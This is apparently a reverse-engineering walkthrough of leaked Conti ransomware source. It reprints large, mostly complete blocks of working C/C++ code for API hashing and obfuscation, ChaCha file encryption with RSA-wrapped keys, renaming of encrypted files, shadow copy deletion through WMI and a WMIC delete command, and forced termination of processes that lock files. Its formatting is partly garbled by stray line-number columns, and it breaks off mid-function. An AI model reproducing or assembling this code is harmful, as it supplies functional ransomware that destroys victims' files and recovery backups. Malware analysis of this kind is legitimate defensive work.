ADDR Ret = GetFunctionAddresss(Module, Table, Ordinal);

if (CheckForForvardedProc(Ret, Table, DataSize)) {
Ret = (ADDR)GetForvardedProc((PCHAR)Ret);
}

//ReturnAddress(Address, Ret + 1);
return Ret;
}

GetHashBase

get the Module Name ,generate and return the hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GetHashBase(__in LDR_MODULE* mdll)
{
char name[64];

size_t i = 0;

while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1)
{

morphcode(mdll->dllname.Buffer[i]);

name[i] = (char)mdll->dllname.Buffer[i];

morphcode(name[i]);

i++;
}

name[i] = 0;

return MurmurHash2A(name, StrLen(name), HASHING_SEED);
}

GetKernel32

the peb is used to get the DllList.Loop the DllList and find the kernel32.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
do
{
mdl = (LDR_MODULE*)mdl->e[0].Flink;
morphcode(mdl);

if (mdl->base != nullptr)
{
morphcode(mdl->base);

if (GetHashBase(mdl) == KERNEL32DLL_HASH) { // KERNEL32.DLL

break;

}
}
} while (mlink != (INT_PTR)mdl);

then you can get the kernel32 handle with the base

1
krnl32 = static_cast<HMODULE>(mdl->base);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
GetKernel32()
{
HMODULE krnl32;
PCWCHAR Kernel32Dll = OBFW(L"Kernel32.dll");

#ifdef _WIN64
const auto ModuleList = 0x18;
const auto ModuleListFlink = 0x18;
const auto KernelBaseAddr = 0x10;
const INT_PTR peb = __readgsqword(0x60);
#else
int ModuleList = 0x0C;
int ModuleListFlink = 0x10;
int KernelBaseAddr = 0x10;
INT_PTR peb = __readfsdword(0x30);
#endif

const auto mdllist = *(INT_PTR*)(peb + ModuleList);
morphcode(mdllist);
const auto mlink = *(INT_PTR*)(mdllist + ModuleListFlink);
morphcode(mlink);
auto krnbase = *(INT_PTR*)(mlink + KernelBaseAddr);
morphcode(krnbase);

auto mdl = (LDR_MODULE*)mlink;
do
{
mdl = (LDR_MODULE*)mdl->e[0].Flink;
morphcode(mdl);

if (mdl->base != nullptr)
{
morphcode(mdl->base);

if (GetHashBase(mdl) == KERNEL32DLL_HASH) { // KERNEL32.DLL

break;

}
}
} while (mlink != (INT_PTR)mdl);

krnl32 = static_cast<HMODULE>(mdl->base);
morphcode(krnl32);
return krnl32;
}

hash

MurmurHash2A

  • convert to lowchar

  • every 4 byte convert to unsigned int data ,then mmix with the seed. If the length is less than 4, Convert it one by one,then mmix

    • ```
      #define mmix(h,k) { k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; }
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57

      - finally return the hash by argument h

      ```c
      #include "hash.h"
      #include "..\memory.h"

      #define mmix(h,k) { k *= m; k ^= k >> r; k *= m; h *= m; h ^= k; }
      #define LowerChar(C) if (C >= 'A' && C <= 'Z') {C = C + ('a'-'A');}

      unsigned int MurmurHash2A(const void* key, int len, unsigned int seed)
      {
      char temp[64];
      RtlSecureZeroMemory(temp, 64);
      memory::Copy(temp, (PVOID)key, len);

      for (int i = 0; i < len; i++) {
      LowerChar(temp[i]);
      }

      const unsigned int m = 0x5bd1e995;
      const int r = 24;
      unsigned int l = len;

      const unsigned char* data = (const unsigned char*)temp;

      unsigned int h = seed;
      unsigned int k;

      while (len >= 4)
      {
      k = *(unsigned int*)data;

      mmix(h, k);

      data += 4;
      len -= 4;
      }

      unsigned int t = 0;

      switch (len)
      {
      case 3: t ^= data[2] << 16;
      case 2: t ^= data[1] << 8;
      case 1: t ^= data[0];
      };

      mmix(h, t);
      mmix(h, l);

      h ^= h >> 13;
      h *= m;
      h ^= h >> 15;

      return h;
      }

Cryptor

cryptor

cryptor::SetWhiteListProcess

Set white list Process, pass the specifical process(explorer.exe).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
VOID 
process_killer::GetWhiteListProcess(__out PPID_LIST PidList)
{
HANDLE hSnapShot = pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == NULL) {
return;
}

PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

if (!pProcess32FirstW(hSnapShot, &pe32)) {

pCloseHandle(hSnapShot);
return;

}

do
{

if (!plstrcmpiW(pe32.szExeFile, OBFW(L"explorer.exe"))) {

PPID Pid = (PPID)m_malloc(sizeof(PID));
if (!Pid) {
break;
}

Pid->dwProcessId = pe32.th32ProcessID;
TAILQ_INSERT_TAIL(PidList, Pid, Entries);

}

} while (pProcess32NextW(hSnapShot, &pe32));

pCloseHandle(hSnapShot);
}

cryptor::ChangeFileName

just change the filename, used to add the extension for Encrypted file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cryptor::ChangeFileName(__in LPCWSTR OldName)
{
LPWSTR NewName = (LPWSTR)memory::Alloc(32727);
if (!NewName) {
return FALSE;
}

morphcode((LPVOID)NewName);

plstrcpyW(NewName, OldName);

morphcode((LPVOID)NewName);

plstrcatW(NewName, global::GetExtention());

morphcode((LPVOID)OldName);

pMoveFileW(OldName, NewName);
memory::Free(NewName);
return TRUE;
}

cryptor::Encrypt

  • Genkey
  • OpenFileEncrypt
  • CheckForDataBases
    • WriteEncryptionInfo(FileInfo,FULL_ENCRYPT,0)
    • EncryptFull
  • CheckForVirtualMachines
    • WriteEncryptionInfo(FileInfo,PARTLY_ENCRYPT,20)
    • EncryptPartly
  • judge the file size and use the fittest funtion to encrypt the different size range of file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
BOOL
cryptor::Encrypt(
__in LPFILE_INFO FileInfo,
__in LPBYTE Buffer,
__in HCRYPTPROV CryptoProvider,
__in HCRYPTKEY PublicKey
)
{
BOOL Result = FALSE;
DWORD BytesToRead = 0;
LONGLONG TotalRead = 0;
LONGLONG TotalWrite = 0;

if (!GenKey(CryptoProvider, PublicKey, FileInfo)) {

logs::Write(OBFW(L"Can't gen key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

if (!OpenFileEncrypt(FileInfo)) {
return FALSE;
}

if (CheckForDataBases(FileInfo->Filename)) {

if (!WriteEncryptInfo(FileInfo, FULL_ENCRYPT, 0)) {
return FALSE;
}

Result = EncryptFull(FileInfo, Buffer, CryptoProvider, PublicKey);

}
else if (CheckForVirtualMachines(FileInfo->Filename)) {

if (!WriteEncryptInfo(FileInfo, PARTLY_ENCRYPT, 20)) {
return FALSE;
}

Result = EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, 20);

}
else {

if (FileInfo->FileSize <= 1048576) {

if (!WriteEncryptInfo(FileInfo, FULL_ENCRYPT, 0)) {
return FALSE;
}

Result = EncryptFull(FileInfo, Buffer, CryptoProvider, PublicKey);

}
else if (FileInfo->FileSize <= 5242880) {

if (!WriteEncryptInfo(FileInfo, HEADER_ENCRYPT, 0)) {
return FALSE;
}

Result = EncryptHeader(FileInfo, Buffer, CryptoProvider, PublicKey);

}
else {

if (!WriteEncryptInfo(FileInfo, PARTLY_ENCRYPT, global::GetEncryptSize())) {
return FALSE;
}

Result = EncryptPartly(FileInfo, Buffer, CryptoProvider, PublicKey, global::GetEncryptSize());

}

}

if (Result) {

pCloseHandle(FileInfo->FileHandle);
FileInfo->FileHandle = INVALID_HANDLE_VALUE;
ChangeFileName(FileInfo->Filename);

}

CloseFile(FileInfo);
return Result;
}

cryptor::DeleteShadowCopies

Initialize COM
  • hres = (HRESULT)pCoInitializeEx(0, COINIT_MULTITHREADED)
Set general COM security levels

Registers security and sets the default security values for the process.

1
2
3
4
5
6
7
8
9
10
11
pCoInitializeSecurity(
NULL,
-1, // COM authentication
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
Obtain the initial locator to WMI
  • Intel: pCoCreateInstance(CLSID_WbemLocator,0,CLSCTX_INPROC_SERVER,IID_IWbemLocator, (LPVOID*)&pLoc);
  • AMD: pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
    • BSTR Arch = pSysAllocString(OBFW(L”__ProviderArchitecture”));
    • hres = pContext->SetValue(Arch, 0, &vArchitecture);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
IWbemLocator* pLoc = NULL;
hres = (HRESULT)pCoCreateInstance(
CLSID_WbemLocator,
0,
CLSCTX_INPROC_SERVER,
IID_IWbemLocator, (LPVOID*)&pLoc);

morphcode(pLoc);

IWbemContext* pContext = NULL;
SYSTEM_INFO SysInfo;
pGetNativeSystemInfo(&SysInfo);

morphcode(SysInfo.dwActiveProcessorMask);

if (SysInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) {

hres = (HRESULT)pCoCreateInstance(CLSID_WbemContext, 0, CLSCTX_INPROC_SERVER, IID_IWbemContext, (LPVOID*)&pContext);
if (FAILED(hres))
{
pCoUninitialize();
return FALSE;
}

morphcode(hres);

BSTR Arch = pSysAllocString(OBFW(L"__ProviderArchitecture"));

VARIANT vArchitecture;
pVariantInit(&vArchitecture);
V_VT(&vArchitecture) = VT_I4;
V_INT(&vArchitecture) = 64;
hres = pContext->SetValue(Arch, 0, &vArchitecture);

morphcode(hres);

pVariantClear(&vArchitecture);

if (FAILED(hres))
{
pCoUninitialize();
return FALSE; // Program has failed.
}

}
Connect to WMI through the IWbemLocator::ConnectServer method

The WMI namespace root/cimv2 is the default namespace and contains classes for computer hardware and configuration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
BSTR Path = pSysAllocString(OBFW(L"ROOT\\CIMV2"));

hres = pLoc->ConnectServer(
Path, // Object path of WMI namespace
NULL, // User name. NULL = current user
NULL, // User password. NULL = current
0, // Locale. NULL indicates current
NULL, // Security flags.
0, // Authority (for example, Kerberos)
pContext, // Context object
&pSvc // pointer to IWbemServices proxy
);

morphcode(pSvc);

if (FAILED(hres))
{

pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
Set security levels on the proxy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
hres = (HRESULT)pCoSetProxyBlanket(
pSvc, // Indicates the proxy to set
RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx
RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx
NULL, // Server principal name
RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx
RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx
NULL, // client identity
EOAC_NONE // proxy capabilities
);

morphcode(hres);

if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return FALSE; // Program has failed.
}
Use the IWbemServices pointer to make requests of WMI
Get the data from the query in step 6

this is the main code of the function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
BSTR WqlStr = pSysAllocString(OBFW(L"WQL"));
BSTR Query = pSysAllocString(OBFW(L"SELECT * FROM Win32_ShadowCopy"));

IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(
WqlStr,
Query,
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY,
NULL,
&pEnumerator);

morphcode(hres);

if (FAILED(hres))
{
pSvc->Release();
pLoc->Release();
pCoUninitialize();
return 1; // Program has failed.
}

get the data from the query and Delete the shadowcopy.

generate the delete shadowcopy command, then use the Enumerator to delete every one of them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
IWbemClassObject* pclsObj = NULL;
ULONG uReturn = 0;

morphcode(pEnumerator);

while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1,
&pclsObj, &uReturn);

morphcode(hr);

if (0 == uReturn)
{
break;
}

VARIANT vtProp;

// Get the value of the Name property
hr = pclsObj->Get(OBFW(L"ID"), 0, &vtProp, 0, 0);

morphcode(hr);

WCHAR CmdLine[1024];
RtlSecureZeroMemory(CmdLine, sizeof(CmdLine));
wsprintfW(CmdLine, OBFW(L"cmd.exe /c C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where \"ID='%s'\" delete"), vtProp.bstrVal);

morphcode();

LPVOID Old;
pWow64DisableWow64FsRedirection(&Old);

morphcode(Old);

CmdExecW(CmdLine);
pWow64RevertWow64FsRedirection(Old);

morphcode(Old);

pVariantClear(&vtProp);
pclsObj->Release();
}
Cleanup
1
2
3
4
5
6
7
8
if (pContext) {
pContext->Release();
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
pCoUninitialize();
}

CmdExecW

first set the STARTUPINFOW’s property——wShowWindow, then CreateProcess using the arg Cmdline passed in.

CheckForDataBases

generate a long list of Extensions that are database.And check the file extension if in the Database Extension List.

1
2
3
4
5
6
7
8
9
10
INT Count = sizeof(Extensions) / sizeof(LPWSTR);

for (INT i = 0; i < Count; i++) {

morphcode((LPVOID)Filename);

if (pStrStrIW(Filename, Extensions[i])) {
return TRUE;
}
}

CheckForVirtualMachines

Extension

OBFW(L”.vdi”),OBFW(L”.vhd”),OBFW(L”.vmdk”),OBFW(L”.pvm”),OBFW(L”.vmem”),OBFW(L”.vmsn”),OBFW(L”.vmsd”),OBFW(L”.nvram”),OBFW(L”.vmx”),OBFW(L”.raw”),OBFW(L”.qcow2”),OBFW(L”.subvol”),OBFW(L”.bin”),OBFW(L”.vsv”),OBFW(L”.avhd”),OBFW(L”.vmrs”),OBFW(L”.vhdx”),OBFW(L”.avdx”),OBFW(L”.vmcx”),OBFW(L”.iso”)

then check the file extension if in the Virtual Machine Extension List.

WriteFullData

a normal write function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
STATIC
BOOL
WriteFullData(
__in HANDLE hFile,
__in LPVOID Buffer,
__in DWORD Size
)
{
DWORD TotalWritten = 0;
DWORD BytesWritten = 0;
DWORD BytesToWrite = Size;
DWORD Offset = 0;

while (TotalWritten != Size)
{

morphcode(TotalWritten);

if (!pWriteFile(hFile, (LPBYTE)Buffer + Offset, BytesToWrite, &BytesWritten, NULL) || !BytesWritten) {

return FALSE;

}

morphcode(BytesWritten);

Offset += BytesWritten;

morphcode(Offset);

TotalWritten += BytesWritten;

morphcode(BytesToWrite);

BytesToWrite -= BytesWritten;

}

return TRUE;
}

KillFileOwner

getapi::IsRestartManagerLoaded()

Restart Manager session,so how can we judge a session is loaded.

We can find the code that modify the value in the anti-hook.cpp, if the Rstrtmgr.dll is loaded, this means the Manager session is loaded.

image-20220428190326952

pRmStartSession

Starts a new Restart Manager session. A maximum of 64 Restart Manager sessions per user session can be open on the system at the same time. When this function starts a session, it returns a session handle and session key that can be used in subsequent calls to the Restart Manager API.

pRmRegisterResources

Registers resources to a Restart Manager session. The Restart Manager uses the list of resources registered with the session to determine which applications and services must be shut down and restarted。Resources can be identified by filenames, service short names, or RM_UNIQUE_PROCESS structures that describe running applications. The RmRegisterResources function can be used by a primary or secondary installer.

pRmGetList

Gets a list of all applications and services that are currently using resources that have been registered with the Restart Manager session.

pRmShutdown

Initiates the shutdown of applications. This function can only be called from the installer that started the Restart Manager session using the RmStartSession function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
BOOL KillFileOwner(
__in LPCWSTR PathName)
{
if (!getapi::IsRestartManagerLoaded()) {

logs::Write(OBFW(L"Restart manager not loaded."));
return FALSE;

}

BOOL Result = FALSE;
DWORD dwSession = 0x0;
DWORD ret = 0;
WCHAR szSessionKey[CCH_RM_SESSION_KEY + 1];
RtlSecureZeroMemory(szSessionKey, sizeof(szSessionKey));

if (pRmStartSession(&dwSession, 0x0, szSessionKey) == ERROR_SUCCESS)
{

if (pRmRegisterResources(dwSession, 1, &PathName,
0, NULL, 0, NULL) == ERROR_SUCCESS)
{

DWORD dwReason = 0x0;
UINT nProcInfoNeeded = 0;
UINT nProcInfo = 0;
PRM_PROCESS_INFO ProcessInfo = NULL;
RtlSecureZeroMemory(&ProcessInfo, sizeof(ProcessInfo));

ret = (DWORD)pRmGetList(dwSession, &nProcInfoNeeded,
&nProcInfo, NULL, &dwReason);


if (ret != ERROR_MORE_DATA || !nProcInfoNeeded) {

pRmEndSession(dwSession);
return FALSE;

}

ProcessInfo = (PRM_PROCESS_INFO)memory::Alloc(sizeof(RM_PROCESS_INFO) * nProcInfoNeeded);
if (!ProcessInfo) {

pRmEndSession(dwSession);
return FALSE;

}

nProcInfo = nProcInfoNeeded;
ret = (DWORD)pRmGetList(dwSession, &nProcInfoNeeded,
&nProcInfo, ProcessInfo, &dwReason);

if (ret != ERROR_SUCCESS || !nProcInfoNeeded) {

memory::Free(ProcessInfo);
pRmEndSession(dwSession);
return FALSE;

}

DWORD ProcessId = (DWORD)pGetProcessId(pGetCurrentProcess());

for (INT i = 0; i < nProcInfo; i++) {

if (ProcessInfo[i].Process.dwProcessId == ProcessId) {

memory::Free(ProcessInfo);
pRmEndSession(dwSession);
return FALSE;

}

process_killer::PPID Pid = NULL;
TAILQ_FOREACH(Pid, g_WhitelistPids, Entries) {

if (ProcessInfo[i].Process.dwProcessId == Pid->dwProcessId) {

memory::Free(ProcessInfo);
pRmEndSession(dwSession);
return FALSE;

}

}

}

Result = pRmShutdown(dwSession, RmForceShutdown, NULL) == ERROR_SUCCESS;
memory::Free(ProcessInfo);

}

pRmEndSession(dwSession);
}

return Result;
}

GenKey

encrypt the public key. The first 32 bytes is the chacha encryption’s key, and the next 4 byte is the IV.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
STATIC
BOOL
GenKey(
__in HCRYPTPROV Provider,
__in HCRYPTKEY PublicKey,
__in cryptor::LPFILE_INFO FileInfo
)
{
DWORD dwDataLen = 40;

morphcode(FileInfo);

if (!pCryptGenRandom(Provider, 32, FileInfo->ChachaKey)) {
return FALSE;
}

morphcode(FileInfo->ChachaKey);

if (!pCryptGenRandom(Provider, 8, FileInfo->ChachaIV)) {
return FALSE;
}

morphcode(FileInfo->ChachaIV);

RtlSecureZeroMemory(&FileInfo->CryptCtx, sizeof(FileInfo->CryptCtx));
ECRYPT_keysetup(&FileInfo->CryptCtx, FileInfo->ChachaKey, 256, 64);
ECRYPT_ivsetup(&FileInfo->CryptCtx, FileInfo->ChachaIV);

memory::Copy(FileInfo->EncryptedKey, FileInfo->ChachaKey, 32);
memory::Copy(FileInfo->EncryptedKey + 32, FileInfo->ChachaIV, 8);

morphcode(FileInfo->EncryptedKey);

if (!pCryptEncrypt(PublicKey, 0, TRUE, 0, FileInfo->EncryptedKey, &dwDataLen, 524)) {
return FALSE;
}

return TRUE;
}

CheckContiPatter

g_ContiPattern is a global arg that has a certain value.Read 16 bytes of the file,And check with below.

STATIC CONST BYTE g_ContiPattern[16] = { 0xab, 0xff, 0x63, 0xa1, 0x6f, 0xa2 , 0x6e, 0x6e, 0xa3, 0x74, 0x69, 0xbf, 0x4c, 0xdd, 0xff, 0xa1 };

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
STATIC
BOOL
CheckContiPattern(
__in cryptor::LPFILE_INFO FileInfo,
__out PBOOL Error
)
{
LARGE_INTEGER Pointer;
Pointer.QuadPart = -16;

if (!pSetFilePointerEx(FileInfo->FileHandle, Pointer, NULL, FILE_END)) {

*Error = TRUE;
return FALSE;

}

DWORD TotalRead = 0;
DWORD BytesRead = 0;
DWORD Offset = 0;
DWORD BytesToRead = 16;
BYTE Buffer[16];
RtlSecureZeroMemory(Buffer, sizeof(Buffer));

while (TotalRead != 16) {

if (!pReadFile(FileInfo->FileHandle, Buffer + Offset, BytesToRead, &BytesRead, NULL) || !BytesRead) {

*Error = TRUE;
return FALSE;

}

TotalRead += BytesRead;
Offset += BytesRead;
BytesToRead -= BytesRead;

}

*Error = FALSE;
if (!memcmp(g_ContiPattern, Buffer, 16)) {
return TRUE;
}

return FALSE;
}

WriteEncryptInfo

write the Encryption note to the txt.

mainly use the pSetFilePointerEx to make it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
STATIC
BOOL
WriteEncryptInfo(
__in cryptor::LPFILE_INFO FileInfo,
__in BYTE EncryptMode,
__in BYTE DataPercent
)
{
BOOL Success;
LARGE_INTEGER Offset;
BYTE Buffer[10];
Buffer[0] = EncryptMode;
Buffer[1] = DataPercent;
memory::Copy(Buffer + 2, &FileInfo->FileSize, 8);

Offset.QuadPart = 0;
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_END)) {

logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

Success = WriteFullData(FileInfo->FileHandle, FileInfo->EncryptedKey, 524);
if (!Success) {

logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

Success = WriteFullData(FileInfo->FileHandle, Buffer, 10);
if (!Success) {

logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

pSetEndOfFile(FileInfo->FileHandle);
Success = (BOOL)pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_BEGIN);
if (!Success) {
logs::Write(OBFW(L"Can't write key for file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
}

return Success;
}

OpenFileEncrypt

pGetFileAttributesW

pSetFileAttributesW

FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,GENERIC_READ | GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);

KillFileOwner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
STATIC
DWORD
OpenFileEncrypt(__in cryptor::LPFILE_INFO FileInfo)
{
DWORD Attributes = (DWORD)pGetFileAttributesW(FileInfo->Filename);
if (Attributes != INVALID_FILE_ATTRIBUTES) {
if (Attributes & FILE_ATTRIBUTE_READONLY) {
pSetFileAttributesW(FileInfo->Filename, Attributes ^ FILE_ATTRIBUTE_READONLY);
}
}

FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);

DWORD LastError = (DWORD)pGetLastError();
if (FileInfo->FileHandle == INVALID_HANDLE_VALUE)
{

if (LastError == ERROR_SHARING_VIOLATION ||
LastError == ERROR_LOCK_VIOLATION)
{

logs::Write(OBFW(L"File %s is already open by another program."), FileInfo->Filename);

if (KillFileOwner(FileInfo->Filename))
{

logs::Write(OBFW(L"KillFileOwner for file %s - success"), FileInfo->Filename);

FileInfo->FileHandle = pCreateFileW(FileInfo->Filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL);

if (FileInfo->FileHandle == INVALID_HANDLE_VALUE) {

logs::Write(OBFW(L"Can't open file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

}
else {

logs::Write(OBFW(L"KillFileOwner for file %s - error. GetLastError = %lu."), FileInfo->Filename, pGetLastError());
return FALSE;

}

}
else {

logs::Write(OBFW(L"Can't open file %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
return FALSE;

}

}

LARGE_INTEGER FileSize;
if (!pGetFileSizeEx(FileInfo->FileHandle, &FileSize) || !FileSize.QuadPart) {

logs::Write(OBFW(L"Can't get file size %s. GetLastError = %lu"), FileInfo->Filename, pGetLastError());
CloseHandle(FileInfo->FileHandle);
return FALSE;

}

FileInfo->FileSize = FileSize.QuadPart;
return TRUE;
}

EncryptHeader

encrypt the file’s first 1048576 byte

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
STATIC
BOOL
EncryptHeader(
__in cryptor::LPFILE_INFO FileInfo,
__in LPBYTE Buffer,
__in HCRYPTPROV CryptoProvider,
__in HCRYPTKEY PublicKey
)
{
BOOL Success = FALSE;
DWORD BytesRead = 0;
DWORD BytesToRead = 0;
DWORD BytesToWrite = 0;
LONGLONG TotalRead = 0;
LONGLONG BytesToEncrypt;
LARGE_INTEGER Offset;

BytesToEncrypt = 1048576;

while (TotalRead < BytesToEncrypt) {

morphcode(TotalRead);

LONGLONG BytesLeft = BytesToEncrypt - TotalRead;

morphcode(BytesLeft);

BytesToRead = BytesLeft > BufferSize ? BufferSize : (DWORD)BytesLeft;

morphcode(BytesToRead);

Success = (BOOL)pReadFile(FileInfo->FileHandle, Buffer, BytesToRead, &BytesRead, NULL);
if (!Success || !BytesRead) {
break;
}

morphcode(BytesRead);

TotalRead += BytesRead;
BytesToWrite = BytesRead;

morphcode(TotalRead);

ECRYPT_encrypt_bytes(&FileInfo->CryptCtx, Buffer, Buffer, BytesRead);

morphcode(Buffer);

Offset.QuadPart = -((LONGLONG)BytesRead);
if (!pSetFilePointerEx(FileInfo->FileHandle, Offset, NULL, FILE_CURRENT)) {
break;
}

morphcode(Offset.QuadPart);

Success = WriteFullData(FileInfo->FileHandle, Buffer, BytesToWrite);
if (!Success) {
break;
}

morphcode(BytesToWrite);

}

return TRUE;
}

EncryptPartly

if the file is Virtual Machine Extension, then EncryptPartly

image-20220429142152244

if the filesize is over 5242880 byte, then EncryptPartly.

image-20220429142228715

Judge the file size and decide how many percent the code wanna Encrypt.

the global::GetEncrypSize return value is 50, so if the filesize is over 5242880, it will encrypt the 10% size data of this file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
STATIC
BOOL
EncryptPartly(
__in cryptor::LPFILE_INFO FileInfo,
__in LPBYTE Buffer,
__in HCRYPTPROV CryptoProvider,
__in HCRYPTKEY PublicKey,
__in BYTE DataPercent
)
{
BOOL Success = FALSE;
DWORD BytesRead = 0;
DWORD BytesToRead = 0;
DWORD BytesToWrite = 0;
LONGLONG TotalRead = 0;
LONGLONG BytesToEncrypt;
LARGE_INTEGER Offset;
LONGLONG PartSize = 0;
LONGLONG StepSize = 0;
INT StepsCount = 0;

switch (DataPercent) {
case 10:
PartSize = (FileInfo->FileSize / 100) * 4;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 15:
PartSize = (FileInfo->FileSize / 100) * 5;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 20:
PartSize = (FileInfo->FileSize / 100) * 7;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 25:
PartSize = (FileInfo->FileSize / 100) * 9;
morphcode(PartSize);
StepsCount = 3;
StepSize = (FileInfo->FileSize - (PartSize * 3)) / 2;
morphcode(StepSize);
break;

case 30:
PartSize = (FileInfo->FileSize / 100) * 10;
morphcode(PartSize);
StepsCount = 3;
